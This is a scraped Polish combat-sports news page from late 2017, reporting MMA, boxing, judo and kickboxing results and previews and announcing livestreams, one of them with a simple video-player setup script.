Za miesiąc, 15 i 16 grudnia 2017, w łódzkim Klubie Wytwórnia, odbędzie się kolejna gala, jedynej w Europie kobiecej organizacji sztuk walki MMA i K1 Ladies Fight Night. Dwa dni niezapomnianych emocji, potęgowanych podwójną dawką sportowych wrażeń. Nazwa nie jest przypadkowa, grudniowy event łączy ze sobą dwie gale, podczas których zaprezentuje się czołówka polskich jak również najlepszych zawodniczek z Europy (między innymi z Francji, Szwecji, Włoch, Czech i Rumunii) głównie w formule MMA.
[kod]
Marcin Tybura zanotował drugą porażkę w UFC. W Acer Arena w Sydney 32-letni Polak przegrał z Fabricio Werdumem. Udany debiut w najlepszej organizacji MMA na świecie zaliczył Adam Wieczorek.
Na gali UFC Fight Night 121 Tybura stanął przed trudnym zadaniem. Byłemu mistrzowi M-1 Global wagi ciężkiej przyszło zmierzyć się z legendą MMA. Swojej postawy w starciu z Werdumem, Polak wstydzić się nie musi.
Mordercze tempo
Tyburę i Werduma dzieli osiem lat. Zatem Brazylijczyk ma już 40 wiosen, ale formy może mu pozazdrościć niejeden młokos. Były mistrz wagi ciężkiej UFC pokazał, że nadal należy do ścisłej światowej czołówki. Z kolei dla Polaka starcie z utytułowanym Brazylijczykiem było ogromną szansą. Tybura mógł znaleźć się w gronie tych, którzy śmiało mogliby myśleć o walce o pas. W końcu w czerwcu pokonał nie byle kogo, bo byłego mistrza wagi ciężkiej Andreja Arlovskiego. W Sydney Tybura miał przejść kolejny test.
Od początku Werdum nie oszczędzał Polaka. Kolejne kopnięcia, sporo ciosów na korpus, jednak 32-latek starał się bronić i odpierać ataki rywala. Jak wiadomo – najlepszą obroną jest atak i zgodnie z tą zasadą postępował Brazylijczyk, co mogło nieco deprymować Polaka. 40-latek starał się kontrolować starcie, szukał również możliwości sprowadzenia rywalizacji do parteru. Tybura próbował i trafiał pojedynczymi ciosami. Po trzech rundach u Werduma widać było wyraźnie zwolnienie, jednak także Polak złapał zadyszkę.
W czwartej rundzie były mistrz UFC w końcu sprowadził walkę do parteru, ale Tybura wstał i przeprowadził atak. Najwięcej emocji dostarczyła ostatnia odsłona. Wysokie kopnięcie Polaka dotarło do celu, głowa Werduma została naruszona, ale ten okazał się twardy. Tybura spróbował jeszcze raz, ale przebieg całej walki jednoznacznie wskazywał na to, kto będzie cieszył się ze zwycięstwa. Sędziowie wskazali na Werduma. Tylko jeden dał zwycięską rundę Polakowi – 50:45, 50:45, 49:46.
Dla Marcina Tybura była to trzecia porażka w karierze, a druga w UFC. Ostatnio Polak miał dobrą passę – wygrał trzy starcia. Kolejno triumfował w pojedynkach z Viktorem Pestą, Luisem Henrique Barbosą de Oliveirą oraz wspomnianym Arlovskim.
Udany debiut
Adam Wieczorek miał zadebiutować w UFC przed własną publicznością na gali w Gdańsku. Jednak tak się nie stało ze względów… bezpieczeństwa. Walkę z Anthony'm Hamiltonem przełożono.
Na przestrzeni trzech rund Polak wypunktował 37-letniego Amerykanina, który zantował czwartą porażkę z rzędu. Wieczorek, który swego czasu przegrał z Marcinem Tyburą wygrał dziewiąty pojedynek w karierze.
KM
Zapraszamy na transmisję telewizyjną na żywo z Grand Prix JUDO, które odbywają się w dniach 17-19 listopada 2017 r. w Hadze.
[kod]
Zapraszamy na transmisję telewizyjną na żywo z Grand Prix JUDO, które odbywają się w dniach 17-19 listopada 2017 r. w Hadze.
[kod]
Final Block
Eliminations
Zapraszamy na transmisję telewizyjną na żywo z Grand Prix JUDO, które odbywają się w dniach 17-19 listopada 2017 r. w Hadze.
[kod]
Final Block
Eliminations
Zapowiada się niezwykle smakowita walka w kobiecym MMA. 30 grudnia na gali UFC 219 w T-Mobile Arenie w Las Vegas Cristiane Justino zmierzy się z Holly Holm. 32-letnia Brazylijka będzie broniła pas wagi piórkowej.
W zimowy wieczór fani sportów walki potrzebują wielkich wrażeń. Przed świętami Bożego Narodzenia odbędzie się gala KSW 41, podczas której zaprezentują się m.in. Borys Mańkowski, Artur Sowiński, Damian Janikowski, Marcin Wrzosek czy Popek. Z kolei 30 grudnia wielkie wydarzenie w Las Vegas. Karta walk gali UFC 219 praktycznie pełna. Głównym wydarzeniem wieczoru pojedynek Cristiane Justino z Holly Holm.
Pierwsza obrona
O starciu Brazylijki z Amerykanką mówiło się od dłuższego czasu, ale w cały proces wdał się element finansowy. Mistrzyni wagi piórkowej nie była zadowolna z propozycji, którą przedstawiała jej organizacja UFC. Nie da się ukryć, że Justino jest pierwszoplanową postacią kobiecego MMA i chciała otrzymywać godziwe wynagrodzenie. W końcu droga do starcia mistrzyni z Holly Holm znalazła szczęśliwy finał.
W Las Vegas „Cyborg” po raz pierwszy będzie broniła pasa wagi piórkowej, która wywalczyła w licpu pokonując Tonyę Evinger. Była mistrzyni organizacji Invicta w kategorii koguciej została znokautowana przez Brazylijkę w trzeciej rundzie. Co ciekawe, pas wagi piórkowej pojawił się na szali, gdyż Germaine de Randamie obawiała się rywalizacji z Justino. W związku z tym UFC odebrała jej tytuł mistrzowski. Starcie z Holm będzie dla Brazylijki czwartym występem w UFC. Wszystkie trzy pojedynki Justino wygrała przed czasem.
36-letnia Holm do starcia z mistrzynią UFC nie będzie przystępowała w roli faworytki. Tak jak dwa lata temu do pojedynku z posiadaczką pasa w kategorii koguciej Rondą Rousey. Wtedy Holm zadziwiła świat i wysokim kopnięciem w drugiej rundzie powaliła „Rowdy” na deski. Nastały wielkie dni dla Amerykanki, jednak później nad jej głową zebrały się czarne chmury. Holm straciła pas w starciu z Mieshą Tate, przegrała dwie kolejne walki i jej sytuacja skomplikowała się. Wygrana w czerwcu z Beathe Correią pozwoliła jej złapać oddech. Teraz po raz kolejny Holm ma szansę ponownie wejść na szczyt. W starciach o stawkę potrafi się wspiąć się na wyżyny. Czy podobnie będzie tym razem?
Esparza zbliży się do walki o pas?
W Las Vegas zaprezentuje się Carla Esparza, z którą w marcu 2015 roku Joanna Jędrzejczyk walczyła o pas wagi słomkowej. Wygrała Polka, ale Amerykanka liczy, że jeszcze dane będzie jej walczyć o tytuł. W tym roku stoczyła dwie walki. Przegrała z Randą Markos i pokonała Marynę Moroz. Teraz przyjdzie jej rywalizować z Cynthią Calvillo, która dotychczas wygrała wszystkie trzy walki w UFC.
Po roku do rywalizacji wraca Khabib Nurmagomedov. W ostatnim starciu (UFC 205) Rosjanin pokonał przed czasem Michaela Johnsona. W Las Vegas niepokonany 29-latek zmierzy się z Edsonem Barbozą. Na UFC 219 zaprezentują się m.in. Jimmie Rivera, Carlos Condit czy Kamaru Usman.
KM
Zarząd Polskiego Związku Kickboxingu ogłasza konkurs na stanowiska Trenerów Kadr Narodowych PZKB we wszystkich formułach walki w kategoriach wiekowych: kadet, junior, senior
Dotychczasowi Trenerzy Kadr w przypadku chęci kontynuowania pracy z nowym Zarządem PZKB składają następujące dokumenty:
1.Opis pracy szkoleniowej w kadrze z ostatnich dwóch lat.
2.Propozycje nowych rozwiązań szkoleniowych nakolejne lata.
3.Posiadane kwalifikacje oraz wykształcenie.
Nowe osoby przystępujące do konkursu składają następujące dokumenty:
1.Opis dotychczasowej pracy szkoleniowej w klubach zrzeszonych w PZKB
2.Osiągnięcia swoich zawodników z ostatnich dwóch lat.
3.C.V. sportowe w tym posiadane kwalifikacje oraz wykształcenie.
Oferty wraz z dokumentacją należy przesłać do 30.11.2017r.
Wersję elektroniczną w/w dokumentów należy przesłać na adres: biuro@pzkickboxing.pl
Świat boksu pogrążył się w smutku po śmierci Rafaela Garcii. Meksykanin zmarł w wieku 88 lat.
Ta twarz na zawsze utkwi fanom boksu w pamięci. Każdy, kto uważnie śledził pojedynki czołowych amerykańskich pięściarzy nie mógł nie zauważyć Rafaela Garcii (na zdjęciu w lewo). Niejeden mistrz z pewnością przyzna, że nigdy nie pracował z lepszym cutmanem. Pełny profesjonalista, zawsze z największym zaangażowaniem troszczący się o zawodników w przerwach między rundami.
Rafael Garcia praktycznie przez całe życie związany był z boksem. Przez ponad sześć dekand pracował z 35 mistrzami świata. W tym gronie byli m.in. Roberto Duran, Alexis Arguello, Chad Dawson czy Floyd Mayweather Jr.
W ostatnich latach Meksykanin współpracował z popularnym „Moneyem”, który zakończył karierę w 2015 roku z pasami WBC i WBA wagi półśredniej, ale jeszcze wrócił na walkę z Conorem McGregorem. Amerykanin był gwiazdą boksu, a tacy ludzie potrzebują fachowego sztabu. Dlatego też Mayweather postawił na współpracę z Rafaelem Garcią. – Ręce mi dokuczały, ale znalazłem najlepszego eksperta. Nie pozwolę, aby ktokolwiek inny dotknął moich dłoni – mówił swego czasu Mayweather Jr.
Również Garcia nie miał wątpliwości, że współpracuje z prawdziwym mistrzem. – To są bardzo ważne ręce. W nich są miliony dolarów. Muszę o nie dbać – podkreślał cutman.
Od 2014 roku Rafael Garcia ograniczał swoją aktywność. Zmarł w wieku 88 lat. Świat boksu będzie pamiętał o tym wybitnym fachowcu.
Fot. Floyd Mayweather Jr. Facebook
KM
Młodzieżowe mistrzostwa Europy w judo w Podgoricy zakończone. Polacy wywalczyli trzy medale, najlepsi Rosjanie – dwanaście krążków.
Dzielnie walczyli i ich wysiłki przyniosły efekt. Beata Pacut (78kg), Rafał Kozłowski i Piotr Kuczera (90kg) stanęli na podium.
Trójka muszkieterów
Beata Pacut potwierdziła, że w tym roku znajduje się w bardzo dobrej dyspozycji. Judoczka Czarnych Bytom była m.in. o krok od triumfu w zawodach Grand Prix w Taszkiencie. W Podgoricy poprawiła wynik z ubiegłorocznych młodzieżowych mistrzostw Europy, gdzie była siódma. Tegoroczne zmagania Pacut rozpoczęła od pokonania Giorgii Stbagherlin. Co warto dodać, w 2016 roku Wloszka wywalczyła trzecie miejsce w Tel Awiwie. Polka wzięła rewanż na rywalce, która wyeliminowała ją w ćwierćfinale zmagań podczas Pucharu Europy w Bukareszcie. Następnie Polka pokonała Urskę Torkar, ale w półfinale potknęła się na Marii Annie Wagner. W starciu o brąz Pacut triumfowała w potyczce z Niurguianą Nikiforovą, dla której piąte miejsce było najlepszym wynikiem na mistrzowskiej imprezie.
Fantastycznie spisali się Polacy występujący w kategorii 90kg. Piotr Kuczera po raz trzeci stanął na najniższym stopniu mistrzowskiej imprezy. Wcześniej zdobył brąz mistrzostw Europy juniorów i mistrzostw Europy seniorów. W Podgoricy Polak w półfinale musiał uznać wyższość Yahor Varapayeu. Białorusin rok temu sięgnął po srebro mistrzostw Europy U23, teraz ponownie powtórzył ten wynik. Z kolei Kuczera w starciu o brąz pokonał 18-letniego Bośniaka Toniego Mileticia.
Formą błysnął Rafał Kozłowski. Siódmy zawodnik mistrzostw świata juniorów z 2015 roku w Podgoricy wygrał dwie walki, w tym pokonał wspomnianego już Mileticia. W półfinale Polak trafił na niezwykle wymagającego rywala. Mikhail Igolnikov to mistrz Europy juniorów z 2016 roku, w tym roku był drugi w Grand Prix w Tbilisi. Kozłowski wytrzymał blisko 2,5 minuty. W starciu o brąz pokazał charakter i pokonał Gruzina Nodariego Berianiego.
O krok od podium była Anita Formela (+78kg). Polka zaczęła od dwóch zwycięstw, ale potem musiała uznać wyższość Vasiliny Kyrychenko oraz Sebile Akbulut i skończyła rywalizację na piątej pozycji.
Łącznie w Podgoricy wystartowało dziesięcioro Polaków.
Triumf Rosjan
Bezkonkurencyjni okazali się Rosjanie, którzy zdobyli dwanaście medali – po cztery każdego koloru. Na najwyższym stopniu podium stawali: Gamzat Zairbekov (60kg), Saian Ondar (73kg), Mikhail Igolnikov (90kg) oraz Tamerian Bashaev (+100kg). Za ich plecami Białorusini z dorobkiem pięciu krążków (dwa złote). Trzeci w klasyfikacji medalowej byli Holendrzy (trzy krążki).
W zawodach wystartowało 301 judoczek i judoków.
Fot. EJU
KM
Aż 12 złotych medali wywalczyli reprezentanci Polski w zakończonych dzisiaj Mistrzostwach Świata w Budapeszcie. Biało-Czerwoni wracają do kraju z 31 medalami, w tym również 4 srebrnymi i 15 brązowymi. To był znakomity występ polskiej drużyny narodowej w kickboxingu.
Polacy zdobyli 10 medali w K-1 Rules (2-2-6), 7 w kick light (4-1-2), 6 w full contact (2-0-4), 4 w low kick (2-0-2) i 4 w light contact (2-1-1). Nasi reprezentanci po raz kolejny potwierdzili, że należą do najlepszych na świecie. Prezes Związku Piotr Siegoczyński, wszyscy szkoleniowcy kadry i klubowi oraz przede wszystkim kibice kickboxingu mają powody do radości.
Walki finałowe podzielone zostały na 2 dni. Wczoraj po 2 tytuły sięgnęła, podobnie jak przed 2 laty, Paulina Jarzmik (-60kg). Zwyciężyła w formułach kick light i light contact.
-To był mój 2 występ w MŚ w seniorach, a celem była obrona tytułów – mówiła Paulina Jarzmik, 4-krotna już Mistrzyni Świata, który reprezentowała KS X Fight Piaseczno.
Tytuły mistrzowskie obronili także Iwona Nieroda (-56kg) w low kick i Piotr Wypchał w kick light, chociaż zmienił kategorię na -89kg. W jego dotychczasowej wadze -94kg bezkonkurencyjny był Michał Grzesiak.
-To była moja najlepsza walka w turnieju, czułam, że to jest mój dzień i jestem teraz strasznie zadowolona. A jeśli chodzi o najtrudniejszy pojedynek, był nim ten pierwszy, z Serbką – powiedziała Iwona Nieroda po finale z Rosjanką Hiianovą.
29-letni Michał Grzesiak, prowadzący Klub Samoobrony Respekt Ostrów Wielkopolski, przyznał, że o jego sukcesie przesądziła baczna obserwacja wcześniejszych występów Chorwata Miskovicia.
-Miał on ciężki ciężki półfinał, w którym przyjął kilka mocnych kopnięć na udo. Postanowiłem wykorzystać tę sytuację i zacząłem od mocnych kopnięć na udo, co bardzo szybko stało się dobrą drogą do zwycięstwa – dodał kickboxer, który współpracuje z Tomaszem Sroką z Center Team Odolanów.
Złoto do Krakowa przywiezie 37-letni Piotr Wypchał. – W drodze po tytuł pokonałem rywali z Azerbejdżanu, Macedonii I Szwecji. W pierwszej poszło gładko, potem dopiero w końcówce 3 rundy przechylił szalę zwycięstwa w potyczce z wicemistrzem Europy. W półfinale miałem 2 razy na deskach Szweda, który był mega silny i zdeterminowany. W finale była wojna z Chorwatem – opowiadał.
Po mistrzostwo globu sięgnęli także inni Polacy. W wersji kick light, w której Biało-Czerwoni wygrali 4 konkurencje, zwyciężył także aktualny mistrz Europy Mateusz Niżejewski (-63kg). W light contact, poza Pauliną, triumfował Łukasz Wichowski (-84kg). W full contact Mazurek Dąbrowskiego został zagrany dla koleżanki klubowej Iwony Nierody z UKS Diament Pstrągowa Karoliny Dziedzic-Gruszowskiej (-70kg) i utytułowanej zawodniczki, wracającej po długiej przerwie mamy 3 dzieci Beaty Leśnik (+70kg), wcześniej znanej pod nazwiskiem panieńskim Małek.
-W kickboxingu ostatni raz byłem na ME chyba w 2006 roku. W tamtym okresie zdobywałam też medale MŚ i złoto ME w boksie. Teraz staram się trenować dla siebie, najważniejsza jest rodzina, ale pojawiła się szansa startu na MŚ, więc spróbowałam. I po 3 ciężkich walkach mam złoto – stwierdziła zawodniczka z Nowego Sącza.
Z kolei Karolina niedawno wyszła za mąż i teraz walczy pod nazwiskiem Dziedzic-Gruszowska. – W debiucie w MŚ miałam brąz, a teraz interesowało mnie tylko złoto. Mąż bardzo mnie wspiera w tym co robię, jest moim największym fanem.
Ale to nie było koniec emocji na Węgrzech. W sobotę Polacy wystąpili jeszcze w 4 finałach. Adam Gielata (-71kg) sprawił sobie niespodziankę na 21 urodziny i pokonał Bułgara Shumarova. Złoto w K-1 wywalczył też Maksymilian Bratkowicz (-86kg), po zwycięstwie z Brazylijczykiem Codrovilem. W finale low kick Karolina Kubiak (-48kg) wygrała z Rosjanką Sultanovą. Srebrem w K-1 musiał zadowolić się Michał Królik (-60kg) po porażce z Rosjaninem Nadrovem.
-Oczywiście, że liczył się tylko złoty medal. A to zasługa takich ludzi jak Dawid Kasperski, który od pierwszych moich juniorskich MP wpoił mi najsilniejszą psychikę na świecie. Tak samo z moimi trenerami mistrzami w swoim fachu Januszem Janowskim i Kacprem Mielnikiem – powiedział Adam Gielata, Mistrz Europy Juniorów z 2015 r.
W K-1 Rules trenerzy Tomasz Skrzypek, Tomasz Mamulski mieli najmłodszą kadrę, 10 debiutantów, a tymczasem ekipa spisała się na piątkę. – W dzisiejszych finałach zwycięzcy dobrze realizowali założenia taktyczne. Gielata miał wyprzedzać Bułgara, który bez techniki wpychał się w półdystans i nie wchodzić z nim w wymiany. Bratkowicz miał czekać na słabego w ataku Brazylijczyka, przepuszczać, kontrować i ponawiać atak. Królik trafił na znanego sobie przeciwnika, z którym 3 razy przegrał. Dzisiaj był najbliżej zwycięstwa. Trochę za późno podejmował decyzję o ataku i dawał się zaskakiwać seriami ciosów – ocenił Tomasz Skrzypek.
W Budapeszczie rywalizowano we wszystkich formułach. Do ćwierćfinału w pointfightingu (trener Bartosz Baczyński) doszedł jedyny Polak w tej formule Tomasz Kurzeja (-74kg). W sumie startowało ponad 1200 zawodniczek i zawodników z 60 krajów.
Wczoraj srebrne krążki zdobyli Dorota Godzina (-55kg/kick light) w swym ostatnim występie w kickboxingu oraz Michał Bławdziewicz (+91kg) w K-1 Rules. W finale przegrała też walcząca w konkurencji weteranek Marta Kichner-Rządkowska (-65kg) w light contact.
Dla Doroty Godziny był to 6 medal MŚ. Wywalczyła 3 złote, 2 srebrne, a do kolekcji dołożyła srebro, choć w opinii obserwatorów zasłużyła na wygraną.
-W 3 rundzie miałam cały czas lekką przewagę punktową i Węgierka zaczęła się wywracać po akcjach, symulować za mocne techniki. Na 20 sek przed końcem dostałam minus punkt za rzekomy brak kroku w tył po komendzie "break”, co zmieniło werdykt na korzyść rywalki. Chciałam odrabiać punkty, ale ona cały czas się przewracała, więc puściły mi emocje i krzyknęłam, żeby walczyła. Dostałam kolejny minus punkt. Ja więcej atakowałam, trafiałam czystymi technikami, a ona przewracała się, wszystko ją bolało i mimo to i tak wygrała – relacjonowała Dorota Godzina.
Lista brązowych polskich medalistów MŚ 2017: K-1 – Ewa Boś (-48kg), Ewa Pietrzykowska (-56kg), Róża Gumienna (-65kg), Wojciech Kazieczko (-67kg), Bartosz Dołbień (-81kg), Mateusz Pluta (-91kg), kick light – Patryk Kuryłek (-57kg), Łukasz Puczyński (-79kg), full contact – Karolina Mośko (-48kg), Pola Rogala (-65kg), Jakub Pokusa (-71kg), Filip Karbownik (-81kg), low kick – Kamil Rościński (-67kg), Łukasz Kaczmarczyk (-71kg), light contact – Leszek Jobs (-94kg).
-To był mój 2 drugi start w MŚ w kickboxingu. Za pierwszym razem zabrakło zimnej głowy i wyrachowania, skończyło sie na ćwierćfinale. Tym razem chciałem sięgnąć po złoto – mówił Jakub Pokusa.
Na koniec podsumowanie przez trenera low kick Andrzeja Garbaczewskiego: – Cieszymy się z 4 medali w bardzo trudnej konkurencji, w poszczególnych kategoriach było dużo zawodników, nawet Karolina w najlżejszej wadze stoczyła 3 wygrane walki, by móc radować się ze złota. Poziom walk w formule low kick jest bardzo wysoki, widać mocne przygotowania kondycyjne i małe różnice między walczącymi. Ale w dalszym ciągu są faworyzowani zawodnicy z Włoch i Rosji oraz Serbii. Niesprawiedliwy werdykt był w pojedynku Kamila Ruty, ale niestety sędzia z Azerbejdżanu sędziował dla Turka. Liczyliśmy na medal Kamila.
Wyniki finałów MŚ Seniorów
Light contact trenerzy Leszek Jobs, Henryk Piwowar
-60 kg Paulina Jarzmik (Polska) – Luna Mendy (Włochy) wygr. Jarzmik
-84 kg Łukasz Wichowski (Polska) – Luca Padoan (Włochy) wygr. Wichowski
Kick light trenerzy Tomasz Biernacki, Patryk Zaborowski
-55kg Dorota Godzina (Polska) – Nelly Hanicz (Węgry) por. Godziny
-60kg Paulina Jarzmik (Polska) – Rita Nagy (Węgry) wygr. Jarzmik
-63kg Mateusz Niżejewski (Polska) – Enzo Bonio (Francja) wygr. Niżejewski
-89kg Piotr Wypchał (Polska) – Luka Żuljević (Chorwacja) wygr. Wypchał
-94kg Michał Grzesiak (Polska) – Boris Misković (Chorwacja) wygr. Grzesiak
Full contact trenerzy Radosław Laskowski, Wojciech Kierstein
-70kg Karolina Dziedzic-Gruszowska (Polska) – Birgit Reitan Oksnes (Norwegia) wygr. Dziedzic-Gruszowska
+70kg Beata Leśnik (Polska) – Anastasiia Khudiakova (Rosja) wygr. Leśnik
Low kick trenerzy Andrzej Garbaczewski, Witold Kostka
-48kg Karolina Kubiak (Polska) – Stefani Sultanova (Rosja) wygr. Kubiak
-56kg Iwona Iwona Nieroda (Polska) – Anastasiia Hiianova (Rosja) wygr. Nieroda
K-1 Rules trenerzy Tomasz Skrzypek, Tomasz Mamulski
-60kg Michał Królik (Polska) – Timur Nadrov (Rosja) por. Królik
-71kg Adam Gielata (Polska) – Bogdan Shumarov (Bułgaria) wygr. Gielata
-86kg Maksymilian Bratkowicz (Polska) – Fabio Alberto Cordovil (Brazylia) wygr. Bratkowicz
+91kg Michał Bławdziewicz (Polska) – Bahram Rajabzadeh (Azerbejdżan) por. Bławdziewicz
Źródło: www.PZKickboxing.pl
Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Polski Muay Thai. Zawody odbywają się w dniach 8-10 grudnia 2017 r. w Starachowicach.
[kod]
Part 1
Part 2
Part 3
Part 4
Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Polski Muay Thai. Zawody odbywają się w dniach 8-10 grudnia 2017 r. w Starachowicach.
[kod]
Part 1
Part 2
Part 3
Zapraszamy na transmisję telewizyjną z Gali Granda PRO 5 – Draka, która odbędzie się 18 listopada 2017 na warszawskim Torwarze w siedzibie klubu Legia Fight Club. Start transmisji od godz. 20.30.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/GrandaPRO3.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/GrandaPRO3.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/GrandaPRO3.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/GrandaPRO3.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Trudne wyzwanie przed Mariuszem Wachem. Jeśli 11 listopada Polak pokona Jarrella Millera, otworzą się przed nim rozległe możliwości.
Kariera Mariusza Wacha to wzloty i upadki. 37-latek ma okazję, aby ponownie w świecie boksu zrobiło się o nim głośno. Kto wie, czy to już nie ostatnia szansa dla Polaka.
Poprzeczka wisi wysoko
Doświadczony bokser miał już okazję walczyć o stawkę w wadze ciężkiej. 11 listopada w Uniondale pod Nowym Jorkiem nie będzie rywalizował o żaden pas, jednak wygrana w starciu z Jarrelem Millerem może być dla Polaka trampoliną. Wydaje się, że to ostatni dzwonek dla Wacha, aby coś jeszcze ugrać w wadze ciężkiej.
Doświadczenie może być atutem dla popularnego „Wikinga”, który jest mocny. Nie ugiął się przed Władimirem Kliczko. W 2012 roku przetrwał dwanaście rund, ale pasy IBF, WBA i WBO pozostały w posiadaniu Ukraińca. A po walce rozegrał się prawdziwy dramat. Okazało się, że Mariusz Wach był na dopingu. Skończyło się na ośmiomiesięcznej karze. Wach wrócił, wygrał cztery pojedynki i stanął w szranki z Aleksandrem Powietkinem. Stawką był srebrny pas mistrzowski WBC. Wach przegrał przez techniczny nokaut w dwunastej rundzie, a Rosjanie twierdzili, że rywalizował na… dopingu.
Wach udowodnił, że potrafi być do bólu skuteczny. Jego walki z Christianem Hammerem, Kevinem McBridem czy Jasonem Gavernem robiły wrażenie. Polak wygrywał przed czasem, co ostatnio mu się nie zdarza. W tym roku na pełnym dystansie pokonał Erkana Tepera. Najbliższy rywal 37-latka to zupełnie inna półka niż 35-letni reprezentant Niemiec. Choć warto przyznać, że Teper to solidny pięściarz i wygrana Polaka pokazuje tkwiący w nim potencjał. Jednak w najbliższej walce Wach musi wspiąć się na wyżyny. 29-letni Jarrel Miller wygrał dziewiętnaście walk, w tym siedemnaście przed czasem. Amerykanin uchodzi za faworyta w starciu z Wachem. Zwycięstwem ma utorować sobie drogę do rywalizacji z mistrzem WBA, IBF, IBO Anthonym Joshuą.
Będzie gwiazdą?
Dzisiejszy świat potrzebuje takich ludzi. Miller robi wokół siebie wiele szumu, co pomaga mu budować zainteresowanie walką. Otwarty na rozmowę, używa barwnego języka i dotychczas jest skuteczny. Eddie Hearn, promotor Anthony'ego Joshuy, wchodzi na amerykański rynek i chce poznać jego specyfikę. Wygląda na to, że rozgląda się za rywalem dla swojego podopiecznego i Miller idealnie pasuje do jego wyobrażeń.
29-letni Amerykanin zapowiada, że znokautuje Wacha. Granicą ma być ósma runda. Potężny Amerykanin przezwyczaił, że wygrywa przed czasem. Jeśli Wach przetrwa, może być różnie. Kondycja Millera nie musi być wcale idealna.
Fot. Mariusz Wach Boxing
KM
Damian Janikowski stoczy swój drugi pojedynek w MMA. Brązowy medalista Igrzysk Olimpijskich w Londynie w zapasach zaprezentuje się na gali KSW 41 w katowickim Spodku.
Najlepsza polska organizacja MMA powoli uchyla rąbka tajemnicy. Wiemy, że 23 grudnia oprócz Janikowskiego w Katowicach wystąpią również m.in. Marcin Wrzosek, Borys Mańkowski i Artur Sowiński. Zapowiada się gorący zimowy wieczór!
Prawdziwy wojownik
O Janikowskim zrobiło się głośno, gdy zdobył brąz Igrzysk Olimpijskich w Londynie. Dla polskich zapasów pojawiła się nadzieja. Silny jak tur zawodnik miał stać się pierwszoplanową postacią dyscypliny. W 2014 roku sięgnął po brąz mistrzostw Europy w Vantaa, dwa lata wcześniej zdobył srebro w Belgardzie. Zdobył również wicemistrzostwo świata w Stambule w 2011 roku. Janikowski udowodnił, że ma ogromne możliwości. Jasne stało się, że kolejnym celem zapaśnika będzie uzyskanie kwalifikacji do igrzysk w Rio de Janeiro. W mistrzostwach świata w Las Vegas nie zdobył przepustki. Polak zajął siódme miejsce, a awansowała najlepsza szóstka. Turnieje w Zrenjaninie i Ułan Bator również nie potoczyły się po myśli Janikowskiego.
Zawodnik postanowił zakończyć pewien etap i spróbować sił w MMA. Rok temu Janikowski podpisał umowę z KSW. Na pierwszą walkę czekał sześć miesięcy, ale przyszło mu wystąpić przed wypełnioną po brzegi areną na gali KSW 39: Coloseum. Cały stadion PGE Narodowy czekał na walkę potężnie zbudowanego i niezwykle ruchliwego medalisty olimpijskiego z Londynu. Janikowski udowodnił, że może być czołowym fighterem wagi średniej. Polak efektownie uporał się z Julio Gerardo Gallegosem, którego pokonał w pierwszej rundzie. W klinczu rywal otrzymał kilka łokci, a później mocne kolano powaliło Amerykanina na deski.
23 grudnia Damian Janikowski po raz kolejny będzie miał okazję uwolnić swoją energię. Z kim się zmierzy? Na tę wiadomość trzeba poczekać.
Ciekawy rywal Mańkowskiego
Mistrz wagi półśredniej zmierzy się na KSW 41 z Dricusem Du Plessisem. 23-letni zawodnik z Republiki Południowej Afryki wygrał siedem kolejnych walk, po drodze pokonał m.in. Rafała Haratyka. Du Plessis może pochwalić się tytułem mistrzowskim organizacji Extreme Fighting Championship w limicie 170 funtów. W czerwcu poprawił swój dorobek o pas wyższej kategorii. Wszystkie dotychczasowe walki z udziałem 23-latka kończyły się przed czasem.
Z kolei Mańkowski stanie w Katowicach do czwartej obrony mistrzowskiego pasa. W swoim ostatnim występie przegrał z Mamedem Khalidovem w walce wieczoru na KSW 39, ale było to starcie dwóch zawodników z różnych kategorii wagowych, a na szali nie pojawił się żaden tytuł.
Ciekawie zapowiada się w starcie w kategorii piórkowej pomiędzy Marcinem Wrzoskiem a Romanem Szymańskim. W maju „Polski Zombie” stracił pas na rzecz Klebera Koike Erbsta. Z kolei Szymański na KSW 38 uporał się z Denilsonem Nevesem.
W Katowicach dojdzie do starcia o pas kategorii piórkowej. Artur Sowiński postara się odebrać tytuł Kleberowi Koike Erbstowi. Debiut w KSW zaliczy Tomasz Oświeciński, który zmierzy się z Pawłem Mikołajuwem.
Fot. Damian Janikowski Facebook
KM
Dała się poznać jako obiecująca bokserka, jednak później zdecydowała się na… mikrofon. Teraz postanowiła go odłożyć i spróbować sił w MMA. O kim mowa? O Karolinie Owczarz.
Ze sportami walki związana od dziecka, jednak od kilku lat nie występowała w roli aktywnej zawodniczki. W końcu 24-latka postanowiła to zmienić. Karolina Owczarz zaprezentuje się w klatce, a nie jak wcześniej w ringu.
Utalentowana bokserka
Połowę swojego życia związana jest ze sportami walki. Karolina Owczarz przygodę z boksem rozpoczęła w wieku 12 lat i połknęła bakcyla. Kolejne treningi, wyzwania i chęć zwyciężania, a zarazem doskonalenia swoich umiejętności. W 2011 roku Owczarz sięgnęła po złoty medal mistrzostw Polski w boksie kobiet. Po tym sukcesie postanowiła ruszyć w świat. Owczarz wystąpiła w meksykańskim show „Reto de campeonas”, promującym talenty z całego świata.
Po powrocie do Polski stoczyła swoją pierwszą zawodową walkę. Występująca w wadze lekkiej pięściarka zmierzyła się z Eleną Gromyko. 16 września 2011 roku w warszawskiej hali Torwar pokonała Rosjankę już w pierwsze rundzie. Miesiąc później stoczyła kolejne dwa pojedynki, a ostatni zaliczyła w marcu 2012 roku. Wszystkie walki wygrała i w wieku 20 lat podjęła decyzję o… zawieszeniu kariery.
Zapewne wiele osób było zaskoczonych takim obrotem sytuacji, ale decyzję Owczarz należało uszanować. Bokserka postanowiła zostać przy sportach walki i spełniać się w nieco innej roli. Chwyciła za mikrofon i występowała przed kamerą w jednej ze sportowych stacji. Minęły cztery lata…
Teraz MMA
